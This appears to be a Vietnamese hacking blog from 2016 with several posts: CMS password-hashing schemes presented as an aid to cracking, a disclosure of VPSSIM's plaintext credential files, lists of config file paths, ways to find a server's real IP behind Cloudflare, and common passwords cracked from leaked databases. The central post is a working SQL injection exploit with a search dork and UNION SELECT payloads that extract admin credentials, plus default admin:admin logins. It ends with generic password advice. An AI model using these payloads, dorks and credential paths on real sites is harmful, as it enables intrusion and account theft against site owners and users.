Chủ Nhật, 28 tháng 8, 2016

Thuật toán mã hóa của các mã nguồn phổ biến

Khi bạn kiểm thử hay tấn công một website nào đó thì sẽ có lúc các bạn phải tìm cách giải mã những mật khẩu đã được mã hóa trên đó, và lúc này chúng ta phải biết được chính xác thuật toán mã hóa mà đối tượng đang sử dụng là gì thì mới có thể tiến hành các bước để giải mã hoặc brute-force nhằm đạt được kết quả là bản rõ của mật khẩu đó (plain text).Trong bài viết này tôi sẽ cung cấp một số thuật toán mã hóa của các mã nguồn web đang được sử dụng phổ biến hiện nay ở mức ngắn gọn nhất có thể, nếu có thời gian tôi sẽ viết thêm chi tiết thuật toán của từng mã nguồn đang sử dụng bao gồm (tập tin chứa thuật toán, các dòng mã,...).


1. Thuật toán mã hóa mật khẩu của mã nguồn Vbulletin.
Mã nguồn này có nhiều version và ở mỗi giai đoạn sẽ có thuật toán khác nhau.
- vBulletin < 5.x dùng thuật toán: md5(md5($pass).$salt)
- vBulletin > 5.x dùng thuật toán Bcrypt : $hash = password_hash($password, PASSWORD_BCRYPT); (1)

2. Thuật toán mã hóa mật khẩu của mã nguồn Xenforo.
Cũng tương tư như Vbulletin thì Xenforo cũng có hai giai đoạn nâng cấp và thay đổi thuật toán mã hóa khác nhau, ở giai đoạn một thì quản trị sẽ tùy chọn một trong hai thuật toán là Sha1 hoặc Sha256 hoặc để mặc định là sha1.Các version hiện nay và có lẽ sau này thì xenforo sẽ dùng thuật toán mã hóa Blowfish vì nó an toàn trong thời điểm hiện tại.Để rõ hơn cách mã hóa các bạn vui lòng xem nội dung file /library/XenForo/PasswordHash.php.
Giai đoạn 1: sha1(sha1($password).$salt) hoặc sha256(sha256($password).$salt)
Giai đoạn 2: Blowfish(OpenBSD) (2)

3. Thuật toán mã hóa mật khẩu của mã nguồn MyBB v1.2+ và IPBoard v2+.
Hai mã nguồn MyBB và IPBoard có sự tương đồng trong việc mã hóa thuật toán giống nhau nên mình gộp lại chung cho dễ theo dõi.
MyBB: $hashedpsw = md5(md5($salt).md5($plainpassword));
MyBB v1.2+ và IPBoard v2+ : md5(md5($salt).md5($pass));

4. Thuật toán mã hóa mật khẩu của mã nguồn phpBB.
Các version hiện tại của phpBB đã chuyển hết qua dùng thuật toán bcrypt thuần, các bạn có thể theo dõi nội dung code ở file /includes/ucp/ucp_register.php để nắm chi tiết hơn.

5. Thuật toán mã hóa mật khẩu của mã nguồn Joomla.

Joomla cũng có sự điều chỉnh thuật toán mã hóa khá nhiều lần ở các bản nâng cấp điều này chứng tỏ nhà phát triển Joomla chú trọng vấn đề bảo mật thông tin người dùng tốt và dưới đây là các thuật toán cho từng giai đoạn:
- Version 1.5 và 1.7 hoặc cũ hơn dùng : md5($password.$salt) xem chi tiết trong file /authentication/joomla.php
- Version > 1.7 < 3.x : dùng phpass các bạn xem chi tiết trong file /libraries/phpass/PasswordHash.php  (3)
- Version > 3.x hiện nay chuyển qua dùng hoàn toàn là BCrypt  (1)

6. Thuật toán mã hóa mật khẩu của mã nguồn Wordpress.
Nội dung của thuật toán mã hóa mà wordpress sử dụng nằm trong file wp-includes/class-phpass.php (xem online: https://github.com/WordPress/WordPress/blob/master/wp-includes/class-phpass.php)
- Các version wordpress đều dùng thuật toán mã hóa dựa trên thuật toán phpass (3) 


...

Tham khảo:
(1) : tham khảo thêm về thuật toán bcrypt: https://en.wikipedia.org/wiki/Bcrypt
(2) : Blowfish(OpenBSD) : https://en.wikipedia.org/wiki/Blowfish_(cipher) và https://en.wikipedia.org/wiki/OpenBSD
(3) : tham khảo thêm về thuật toán phpass: http://www.openwall.com/phpass/

Concobe

Điểm yếu bảo mật khi sài script tự cài webserver VPSSIM​

Hôm rồi (22/01/2015) lúc chém bão trên face với vài người bạn thì vô tình tìm được kẽ hở của những ai đang sài script tự cài webserver của bên hostingaz.vn và có thể bị chiếm full quyền root mysql nếu may mắn nó thể chiếm luôn quyền root server nếu sài chung mật khẩu.Bài viết này để chỉ ra những điểm yếu và cách khắc phục cho người viết script tự động cài đặt VPSSIM và người dùng hiện tại đang còn sử dụng script này.

Thông tin script:
https://hostingaz.vn/3455-cai-dat-nginx-mariadb-php-fpm-lemp-toi-uu-bao-mat-vps-centos-vpssim.html
Lỗi:
1. Lưu thông tin cài đặt của server vào file.
2. Lưu thông tin CSDL của host vào file.
3. Sài mặc định 1 cấu hình cho trình quản lý CSDL phpMyAdmin.
4. Gợi ý cải thiện vấn đề bảo mật.

Sau đây là chi tiết lỗi:

1. Lưu thông tin cài đặt của server vào file.
Khi cài đặt VPS bằng script này thì sau khi hoàn thành các bước nó sẽ tự động lưu lại toàn bộ thông tin quan trọng của hệ thông bao gồm IP thật của server, domain serrver, port quản lý CSDL .File lưu trên server nằm mặc định theo Path và name dưới đây:

/home/VPSSIM-Setup-info.txt




2. Lưu thông tin CSDL của host vào file.
Đây là điều rất nguy hiểm vì khi vào được server thì mọi thứ dường như là cho không biếu không rồi, và điều đáng nói ở đây chính là cả thông tin tài khoản kết nối đến CSDL của hosting cũng như thông tin tài khoản root của MariaDB đều lưu lại. Thật nguy hiểm.

/home/DBinfo.txt


Với user và password của hosting đều là ký tự số với cùng chiều dài và được tạo random nhưng rất dễ để bruteforce khi có hash vì có chiều dài chuỗi mật khẩu và định dạng của mật khẩu chỉ gồm số và chữ thường 0-9a-z

Thông tin quản lý của Root MariaDB với password: /home/vpssim.conf

mainsite="sim.domain-root-server.com"
priport="8386"
serverip="Real-IP-server"
mariadbpass="abc.12345.6"


3. Sài mặc định 1 cấu hình cho trình quản lý CSDL phpMyAdmin.
Cái này thì những ai sài nó đều có cấu hình và path chung của phpMyAdmin và nó cũng giống như bao Panel khác có điều nó được gia tăng thêm chút bảo mật đó là Port truy cập sẽ do chính mình cấu hình. Các bạn view file để xem cấu hình cụ thể chính xác nếu vào dc host victim.Cấu hình chung là path: sim.domain-root-server.com:port

Các bạn xem ở:  /home/vpssim.conf

mainsite="sim.domain-root-server.com"
priport="8386"
serverip="Real-IP-server"
mariadbpass="abc.12345.6"


4. Gợi ý cải thiện vấn đề bảo mật.
Việc lưu toàn bộ thông tin vào file với dạng plain text đã vốn dĩ rất nguy hiểm.Nhưng tác giả hoàn toàn không gia cố đôi khi chỉ bằng những biện pháp cơ bản dưới đây cũng hạn chế được khá nhiều rủi ro cho người dùng.
- Không lưu trữ thông tin khi cài đặt và tạo tài khoản mới vào file.
- Nếu có lưu trữ thì nên move ra ngoài hoặc tạo thư mục riêng và phân quyền cẩn thận chỉ có quyền root mới được phép xem.
- Riêng những bạn nào đang sử dụng script này thì cách tốt nhất là các bạn lưu trữ tại máy của các bạn hoặc ở đâu đó an toàn và xóa các file chứa thông tin này đi.


Concobe

Thứ Bảy, 27 tháng 8, 2016

Exploit website sài mã nguồn của cty VIETDESI​

Bài viết này tôi đã viết từ thời điểm ghi trong bài viết nhưng có nhiều lý do tế nhị nên tôi không public lỗ hổng mà giữ lại chờ cty khắc phục cho đến thời điểm hiện tại.Vẫn khuyến cáo các bạn nên cảnh báo cho cty và người dùng sau khi kiểm thử và phát hiện lỗi còn tồn tại để hạn chế gây tổn hại đến trang web còn tồn tại lỗi chưa được khắc phục hết.

# Thông tin Lỗi: SQL Injection các website sài mã nguồn của cty VIETDESI
# Nhà phát triển: Thiết kế web: cty VIETDESI - http://vietdesi.com/
# Chức năng: Website sài mã nguồn PHP của cty VIETDESI
# Phiên bản lỗi: Tất cả các phiên bản.
# Dork: "Designed by VietDesi"
# Phát hiện bởi: Concobe.
# Thông tin: http://concobexgr.blogspot.com/
# Ngày phát hiện: 25-03-2015

Chi tiết thông tin cty này.Các bạn vào đọc giúp.
http://vietdesi.com/

Rất nhiều website bị lỗ hổng này do sài chung một mã nguồn cho cty VIETDESI này tạo ra và không có lọc cũng như ràng buộc các truy vấn trong code, và vì cty này thành lập khá lâu từ lượng khách hàng cũng không ít :(

Chi tiết lỗ hổng:
1. Dính lỗi SQL injection ở phần chi tiết sản phẩm, lười check thêm những phần khác...
2. Victim demo:

1. Dính lỗi SQL injection ở phần chi tiết sản phẩm /index.php?frame=product_detail&id=
Select user, version, database name:
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42-- -

Select table name:
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.tables where table_schema=database()-- -

Select column name: jcas_admin
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.columns where table_name=0x6a6361735f61646d696e-- -

Select info: column: id,admin_user,admin_pwd,is_super_admin,privilege
/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(id,0x3a,admin_user,0x3a,admin_pwd,0x3a,is_super_admin),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from jcas_admin-- -

2. Victim demo:
Các bạn có thể tự tìm kiếm cho quá trình kiểm thử của mình.

3. Thêm lỗi sơ xuất của người dùng:
Link admin mặc định là : site.com/admin/
user và password dùng chung cho hầu hết là:
admin:admin

Concobe

Đường dẫn cấu hình CSDL một số mã nguồn phổ biến

Path config file

Dưới đây là danh sách đường dẫn tập tin cấu hình (config database file) các mã nguồn dùng cho các diễn đàn phổ biến hiện nay.


Vbulletin: public_html/includes/config.php
Xenforo: public_html/library/config.php
MyBB: public_html/inc/config.php
phpBB: public_html/config.php
IPBoard: public_html/conf_global.php
Discuz: public_html/config/config_ucenter.php

Dưới đây là danh sách đường dẫn tập tin cấu hình user và pass database các mã nguồn dùng cho các trang web, shop phổ biến hiện nay.

Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
Nukeviet: public_html/config.php
Drupal: public_html/sites/default/settings.php
Magento: public_html/magento/app/etc/local.xml
Opencart: public_html/admin/config.php
Prestashop public_html/config/settings.inc.php
ZenCart: public_html/includes/configure.php
osCommerce: public_html/includes/configure.php
CakePHP: public_html/app/Config/database.php
Codeigniter: public_html/application/config/database.php

Một số tập tin chứa thông tin kết nối vào cơ sở dữ liệu của những mã nguồn ít người sử dụng ở VN.

Bo-Blog: public_html/data/config.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
setidio: public_html/datas/config.php
Textpattern: public_html/textpattern/config.php
Serendipity: public_html/serendipity_config_local.inc.php
Pligg CMS: public_html/libs/dbconnect.php
Pivotx: public_html/pivotx/includes/minify/config.php

Concobe

Cách tìm ra IP thật khi đối tượng sử dụng CloudFlare


Bypass cloudflare

Trong quá trình kiểm thử tôi có từng gặp rất nhiều đối tượng sử dụng cloudflare để bảo vệ IP thật của server để ẩn danh hoặc hạn chế bị tấn công từ chối dịch vu,...Và nhiệm vụ của tôi cũng phải làm đủ mọi cách có thể để tiến hành kiểm thử nhằm đạt được kết quả tốt nhất và phát hiện những điểm yếu trong hệ thống hay trong cách cấu hình của khách hàng, từ đó đưa ra những giải pháp tối ưu, hôm nay tôi sẽ trình bày những cách qua mặt cloudflare phổ biến.

1. Xem header của email.
Đây có lẽ là cách phổ biến và kết quả thu được cũng khá chính xác với tỉ lệ thành công theo cá nhân tôi là khá cao và cách thực hiện cũng khá đơn giản.
- Đăng ký một tài khoản và chờ email kích hoạt gởi về, sau đó chọn xem nội dung mail dạng đầy đủ.
- Nếu đã có tài khoản các bạn dùng chức năng quên mật khẩu để nhận mail reset và xem nội dung cũng tương tự.

Với gmail sau khi login vào hộp thư, chọn email cần xem và chọn tiếp More... -> Show Orginal và xem thông tin ở tab mới được mở ra.





Với Yahoo sau khi login vào hộp thư, chọn email cần xem và chọn tiếp ...More -> View Raw Message và xem thông tin ở tab mới được mở ra.



X-Originating-IP: [Địa chỉ IP cần lấy.]


2. Tìm kiếm thông tin khi đăng ký tên miền.
Cách này có tỉ lệ thành công tương đối và thường chỉ tác dụng với những đối tượng sử dụng thông tin lúc đăng ký mua tên miền và host nhưng không thay đôi.
- Các bạn có thể tìm theo dạng Who is domain trên google và sẽ có khá nhiều kết quả rồi sàng lọc thông tin dựa vào các kết quả đó.

3. Tìm kiếm dựa vào subdomain, dịch vụ của victim.
Cách này tuy tỉ lệ thành công không cao và không phổ biến nhưng vẫn có thể áp dụng vì đôi khi chúng ta có thể có được những thứ quan trọng từ những thứ không thể ngờ.
vd các dịch vụ phổ biến:
ping ftp.domain.com
ping mail.domain.com
ping webmail.domain.com
...

4. Dùng công cụ được chia sẻ online.
Đây cũng là cách để xác định được IP thật của đối tượng cần kiểm thử và có khá nhiều công cụ làm tốt việc này, dù rằng phương thức thực hiện của công cụ cũng nằm ở những cách phía trên hoặc có thêm vài trick khác nhưng tựu chung lại vẫn là kết quả mà chúng ta cần.
- http://www.crimeflare.com/
- http://iphostinfo.com/cloudflare/

Ngoài những cách ở trên còn khá nhiều trick và công cụ để thực hiện việc xác định IP thật của đối tượng được chia sẻ trên mạng, các bạn có thể tìm hiểu thêm bằng từ khóa phổ biến như:
- Bypass cloudflare
- Phương pháp bypass cloudflare.
- How to bypass cloudflare?
- Cloudflare bypass security.

Concobe.

Thứ Sáu, 26 tháng 8, 2016

Tìm hiểu những mật khẩu phổ biến ở Việt Nam


Một buổi chiều mưa bão, rảnh rỗi và sinh nông nổi tôi chợt nảy ra ý nghĩ tại sao có trước giờ có rất nhiều bài viết thống kê về mức độ phổ biến của mật khẩu
trên thế giới mà ở Việt Nam lại chưa có ai tìm hiểu hay viết bài về nó? phải chăng chưa có ai tìm hiểu? hoặc đã tìm hiểu nhưng chưa công bố?...

Sẵn có một số điều kiện thuận lợi là tôi hay download về các bản ghi lưu trữ thông tin của các trang web có khá nhiều người dùng ở VN từng bị tấn công và rò rỉ thông tin trước đây nên tôi bèn lấy chúng ra và bắt đầu tiến hành khôi phục (restore) các table user của những database mà tôi có được vào cái webserver dựng tạm ở localhost để làm việc, cũng mất khá nhiều thời gian, tôi đã tổng hợp lại được một nguồn hash md5 với con số khoảng gần 3 triệu hash, chính xác là 2.9 triệu hash.Tôi chỉ lấy những hash được mã hóa với thuật toán md5 thuần để nhằm có được kết quả khảo sát thực tế nhất và cho kết quả nhanh nhất có thể.

Sau khi có được số hash trên tôi bắt đầu export và cho vào một file text để dùng cách khảo sát cơ bản nhất đó là đếm số lượng hash trùng trong tổng số hash đó và sắp xếp theo thứ tự giảm dần.Và kết quả tôi đã có được danh sách kết quả khá dài, nhưng trong phạm vi bài này tôi chỉ liệt kê ra 20 mật khẩu mà được dùng nhiều nhất dựa theo nguồn khảo sát của tôi.

Dưới đây là danh sách 20 mật khẩu phổ biến đó dưới dạng hash md5:




Tôi tiếp tục brute-force để tìm ra những mật khẩu dạng rõ (plain text) và cũng may mắn là tôi có được hết 20 mật khẩu đó:



Qua kết quả này thì các bạn hẳn phần nào đã biết được thói quen dùng mật khẩu dễ cho các tài khoản ở VN vẫn còn rất nhiều và thực tế điều này nguy hại biết chừng nào.Hy vọng rằng sau bài viết này các bạn sẽ củng cố lại những mật khẩu của mình đang sử dụng theo các tiêu chuẩn an toàn để bảo vệ thông tin của mình.

Hạn chế của bài viết này là:
- Nguồn dữ liệu đầu vào vẫn còn tương đối ít và chưa bao quát.
- Khảo sát chỉ ở mức cơ bản là đếm số lượng hash trùng.
- Chỉ mang tính chất tham khảo.

Update (06-09-2016): Mình update thêm danh sách dạng text cho bạn nào cần.

123456
123456789
123123
anhyeuem
12345678
1234567
1234567890
0123456789
111111
25251325
0123456
123123123
asdasd
maiyeuem
iloveyou
123qwe
123321
khongbiet
123456a
zxcvbnm


Concobe

Cách tạo mật khẩu mạnh cho tài khoản trên mạng.

Cách tạo mật khẩu mạnh cho tài khoản trên mạng.



1. Sử dụng mật khẩu duy nhất cho mỗi tài khoản quan trọng của bạn.

Sử dụng mật khẩu khác nhau cho mỗi tài khoản quan trọng của bạn, như tài khoản email và tài khoản ngân hàng trực tuyến của bạn. Việc sử dụng lại mật khẩu có nhiều rủi ro. Nếu ai đó tìm ra mật khẩu của bạn cho một tài khoản, người đó có thể truy cập vào email, địa chỉ và thậm chí cả tiền của bạn.

2. Sử dụng kết hợp chữ cái, chữ số và ký hiệu trong mật khẩu của bạn.


Việc sử dụng chữ số, ký hiệu và kết hợp chữ hoa và chữ thường trong mật khẩu của bạn sẽ khiến người khác khó đoán mật khẩu của bạn hơn. Ví dụ: một mật khẩu có tám ký tự gồm chữ số, ký hiệu và chữ hoa/thường kết hợp khó đoán hơn vì sẽ có hơn 30.000 kết hợp có thể so với một mật khẩu có tám ký tự gồm chỉ chữ thường.

3. Không dùng thông tin cá nhân hoặc các từ thông dụng làm mật khẩu.

Tạo một mật khẩu duy nhất không liên quan đến thông tin cá nhân của bạn và sử dụng kết hợp chữ cái, chữ số và ký hiệu. Ví dụ: bạn có thể chọn một từ hoặc cụm từ ngẫu nhiên rồi chèn chữ cái và chữ số vào đầu, giữa và cuối để làm cho mật khẩu thêm khó đoán (chẳng hạn như "sPo0kyh@ll0w3En"). Không sử dụng các từ hay cụm từ đơn giản như "password" hay "letmein," các mẫu bàn phím chẳng hạn như "qwerty" hay "qazwsx" hoặc các mẫu tuần tự như "abcd1234", những trường hợp này đều khiến mật khẩu của bạn dễ đoán hơn.

4. Giữ an toàn mật khẩu của bạn.

Không để ghi chú có chứa mật khẩu truy cập vào nhiều trang web khác nhau trên máy tính hoặc bàn làm việc. Những người đi ngang qua có thể dễ dàng lấy trộm và sử dụng thông tin này để xâm phạm tài khoản của bạn. Đồng thời, nếu bạn quyết định lưu mật khẩu của mình vào một tệp trên máy tính, hãy tạo tên độc nhất cho tệp đó để người khác không biết nội dung bên trong. Tránh đặt tên tệp rõ ràng, chẳng hạn như "mật khẩu của tôi". Nếu bạn khó nhớ nhiều mật khẩu, một trình quản lý mật khẩu đáng tin cậy có thể là giải pháp tốt. Dành vài phút để xem bài đánh giá và danh tiếng của các dịch vụ này.

Nguồn: https://support.google.com/accounts/answer/32040?hl=vi

Cyberpanel và những lỗ hổng bảo mật đã fix.

Tầm đầu tháng 1/2019 mình thấy đi group nào chuyên về thiết kế website, bán hosting,...Của facebook cũng có những comment khuyên nhau sử dụn...